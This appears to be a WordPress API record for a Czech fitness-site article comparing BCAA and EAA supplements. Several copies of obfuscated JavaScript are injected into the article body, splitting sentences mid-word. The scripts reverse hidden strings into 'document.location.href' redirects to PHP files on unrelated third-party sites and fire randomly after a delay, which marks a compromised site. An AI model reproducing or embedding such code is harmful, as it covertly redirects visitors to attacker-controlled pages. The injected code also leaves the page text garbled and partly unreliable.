$NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu EAA svou funkc\u00ed p\u0159ipom\u00ednaj\u00ed sp\u00ed\u0161e vysoce kvalitn\u00ed zdroj b\u00edlkovin, stimuluj\u00edc\u00ed rozvoj sval\u016f a vhodn\u00fd pro u\u017e\u00edv\u00e1n\u00ed po tr\u00e9ninku nebo mezi j\u00eddly.<\/p>\n\n\n\n<p>Kone\u010dn\u00fd verdikt tedy zn\u00ed, \u017ee <strong>nem\u016f\u017eete esenci\u00e1ln\u00edmi aminokyselinami nahradit BCAA.<\/strong> Oba suplementy jsou p\u0159\u00ednosn\u00e9 a \u00fa\u010dinn\u00e9, nicm\u00e9n\u011b pln\u00ed trochu jinou funkci. Odborn\u00edci pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to rad\u00ed u\u017e\u00edvat ide\u00e1ln\u011b oboj\u00ed a nenahl\u00ed\u017eet na oba typy produkt\u016f jako na alternativy, ale sp\u00ed\u0161e jako na vz\u00e1jemn\u011b se dopl\u0148uj\u00edc\u00ed v\u00fd\u017eivov\u00e9 dopl\u0148ky.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>P\u0159edstavte si, \u017ee m\u00e1te volit mezi dv\u011bma produkty, jeden m\u00e1 na etiket\u011b n\u00e1pis EAA, druh\u00fd BCAA. Po kter\u00e9m s\u00e1hnout, abyste si zajistili dosa\u017een\u00ed optim\u00e1ln\u00edch tr\u00e9ninkov\u00fdch v\u00fdsledk\u016f? Aminokyseliny s&nbsp;rozv\u011btven\u00fdm \u0159et\u011bzcem (BCAA) se t\u011b\u0161\u00ed obrovsk\u00e9 popularit\u011b p\u0159edev\u0161\u00edm d\u00edky sv\u00fdm anabolick\u00fdm a anti-katabolick\u00fdm \u00fa\u010dink\u016fm. Mezi BCAA pat\u0159\u00ed t\u0159i esenci\u00e1ln\u00ed aminokyseliny: leucin, izoleucin a valin, p\u0159i\u010dem\u017e plat\u00ed, \u017ee optim\u00e1ln\u00edho \u00fa\u010dinku dos\u00e1hnete p\u0159i dodr\u017een\u00ed n\u00e1sleduj\u00edc\u00edho pom\u011bru 2:1:1 (leucin: valin: izoleucin). Jsou to pr\u00e1v\u011b tyto aminokyseliny, po kter\u00fdch organismus s\u00e1hne b\u011bhem v\u00fdkonu, jakmile spot\u0159ebuje gluk\u00f3zu. Jejich unik\u00e1tn\u00ed struktura z&nbsp;nich \u010din\u00ed rychl\u00fd a dostupn\u00fd zdroj energie. Co\u017e v&nbsp;praxi tak\u00e9 znamen\u00e1, \u017ee \u010d\u00edm rychleji je dopln\u00edte, t\u00edm svi\u017en\u011bj\u0161\u00ed bude pr\u016fb\u011bh regenerace. \u0158ada sportovc\u016f je ale s&nbsp;velk\u00fdm \u00fasp\u011bchem u\u017e\u00edv\u00e1 u\u017e p\u0159ed tr\u00e9ninkem, aby jich m\u011bli k&nbsp;dispozici dostate\u010dn\u00e9 mno\u017estv\u00ed, a\u017e t\u011blu dojdou z\u00e1soby glykogenu\/gluk\u00f3zy. Role a funkce BCAA je tedy zcela jasn\u00e1. Kdy\u017e se ale pod\u00edv\u00e1te do nab\u00eddky suplementov\u00fdch spole\u010dnost\u00ed, \u010dasto se setk\u00e1te tak\u00e9 produkty nazvan\u00fdmi EAA \u2013 esenci\u00e1ln\u00ed aminokyseliny. Tyto v\u00fdrobky obsahuj\u00ed v\u0161ech dev\u011bt esenci\u00e1ln\u00edch aminokyselin, tedy nikoliv pouze ty t\u0159i, kter\u00e9 spadaj\u00ed do BCAA. Nav\u00edc je zde histidin, lysin, methionin, fenylalanin, threonin a tryptofan. Nab\u00edz\u00ed se tedy ot\u00e1zka, zda nen\u00ed pro sportovce lep\u0161\u00ed (ve smyslu \u00fa\u010dinn\u011bj\u0161\u00ed) u\u017e\u00edvat produkt s&nbsp;obsahem v\u0161ech esenci\u00e1ln\u00edch aminokyselin v&nbsp;porovn\u00e1n\u00ed s&nbsp;produktem obsahuj\u00edc\u00edm v\u00fdhradn\u011b BCAA. Abychom se dobrali odpov\u011bdi, poj\u010fme si v&nbsp;kr\u00e1tkosti zrekapitulovat, jak to s&nbsp;aminokyselinami v&nbsp;lidsk\u00e9m t\u011ble vlastn\u011b chod\u00ed. Jedn\u00e1 se o z\u00e1kladn\u00ed stavebn\u00ed bloky sval\u016f (a dal\u0161\u00edch struktur). Aminokyseliny spojen\u00e9 speci\u00e1ln\u00edmi vazbami tvo\u0159\u00ed b\u00edlkoviny (proteiny). V&nbsp;praxi v\u0161e prob\u00edh\u00e1 tak, \u017ee pokud konzumujete n\u011bjak\u00e9 j\u00eddlo, je slo\u017eeno ze t\u0159\u00ed z\u00e1kladn\u00edch makro\u017eivin \u2013 b\u00edlkoviny, sacharidy a tuky. V&nbsp;procesu tr\u00e1ven\u00ed se b\u00edlkoviny \u0161t\u011bp\u00ed na jednotliv\u00e9 aminokyseliny a teprve ty mohou b\u00fdt n\u00e1le\u017eit\u011b vst\u0159eb\u00e1ny a vyu\u017eity. Lidsk\u00e9 t\u011blo vyu\u017e\u00edv\u00e1 dvacet r\u016fzn\u00fdch aminokyselin. Z&nbsp;nich o dev\u00edti mluv\u00edme jako o esenci\u00e1ln\u00edch (organismus je neum\u00ed s\u00e1m vytvo\u0159it, mus\u00ed b\u00fdt p\u0159ij\u00edm\u00e1ny ve strav\u011b \u010di suplementech). Jeden\u00e1ct zb\u00fdvaj\u00edc\u00edch jsou aminokyseliny non-esenci\u00e1ln\u00ed, tedy takov\u00e9, kter\u00e9 je t\u011blo schopno samo vyprodukovat z&nbsp;l\u00e1tek b\u011b\u017en\u011b p\u0159ij\u00edman\u00fdch ve strav\u011b. Obecn\u011b ale plat\u00ed, \u017ee optim\u00e1ln\u00ed fungov\u00e1n\u00ed lidsk\u00e9ho organismu zaji\u0161\u0165uje v\u0161ech dvacet aminokyselin. Ka\u017ed\u00e1 z&nbsp;nich m\u00e1 svoji specifickou funkci, zam\u011b\u0159\u00edme se na ty esenci\u00e1ln\u00ed a m\u016f\u017eeme si je ve stru\u010dnosti p\u0159edstavit: Pro toho, kdo p\u0159i\u0161el nav\u00edc je\u0161t\u011b s&nbsp;ot\u00e1zkou, zda nen\u00ed mo\u017en\u00e9 doplnit ve\u0161ker\u00e9 aminokyselin prost\u0159ednictv\u00edm kvalitn\u00ed stravy, m\u00e1me jednu stru\u010dnou odpov\u011b\u010f: NEN\u00cd. A p\u0159id\u00e1v\u00e1me i vysv\u011btlen\u00ed, pro\u010d. Hlavn\u00edm d\u016fvodem je rychlost vst\u0159eb\u00e1v\u00e1n\u00ed. Kvalitn\u00ed aminokyselinov\u00fd suplement se v&nbsp;t\u011ble absorbuje velice rychle, cca b\u011bhem 15 minut. Za tak kr\u00e1tk\u00fd \u010das nejste schopni vst\u0159ebat aminokyseliny z&nbsp;klasick\u00e9 stravy. Tak\u017ee jsme zp\u011bt u souboje BCAA vs. EAA \u2013 je mo\u017en\u00e9 esenci\u00e1ln\u00edmi aminokyselinami \u201enahradit\u201c produkt obsahuj\u00edc\u00ed v\u00fdhradn\u011b BCAA? Zd\u00e1lo by se to re\u00e1ln\u00e9, v\u017edy\u0165 konec konc\u016f EAA obsahuj\u00ed v\u0161echny BCAA, jen\u017ee\u2026. BCAA jsou nej\u00fa\u010dinn\u011bj\u0161\u00ed, pokud je u\u017e\u00edv\u00e1te samotn\u00e9 bez dal\u0161\u00edch aminokyselin, a nav\u00edc v&nbsp;pot\u0159ebn\u00e9m pom\u011bru 2:1:1. Pak v\u00e1m zajist\u00ed kvalitn\u00ed regeneraci a ochranu svalov\u00e9 hmoty, a to i v&nbsp;obdob\u00ed diety. Oproti tomu EAA svou funkc\u00ed p\u0159ipom\u00ednaj\u00ed sp\u00ed\u0161e vysoce kvalitn\u00ed zdroj b\u00edlkovin, stimuluj\u00edc\u00ed rozvoj sval\u016f a vhodn\u00fd pro u\u017e\u00edv\u00e1n\u00ed po tr\u00e9ninku nebo mezi j\u00eddly. Kone\u010dn\u00fd verdikt tedy zn\u00ed, \u017ee nem\u016f\u017eete esenci\u00e1ln\u00edmi aminokyselinami nahradit BCAA. Oba suplementy jsou p\u0159\u00ednosn\u00e9 a \u00fa\u010dinn\u00e9, nicm\u00e9n\u011b pln\u00ed trochu jinou funkci. Odborn\u00edci proto rad\u00ed u\u017e\u00edvat ide\u00e1ln\u011b oboj\u00ed a nenahl\u00ed\u017eet na oba typy produkt\u016f jako na alternativy, ale sp\u00ed\u0161e jako na vz\u00e1jemn\u011b se dopl\u0148uj\u00edc\u00ed v\u00fd\u017eivov\u00e9 dopl\u0148ky.<\/p>\n","protected":false},"author":2,"featured_media":882,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":["post-881","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/881","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=881"}],"version-history":[{"count":2,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/881\/revisions"}],"predecessor-version":[{"id":884,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/881\/revisions\/884"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/882"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=881"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=881"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=881"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}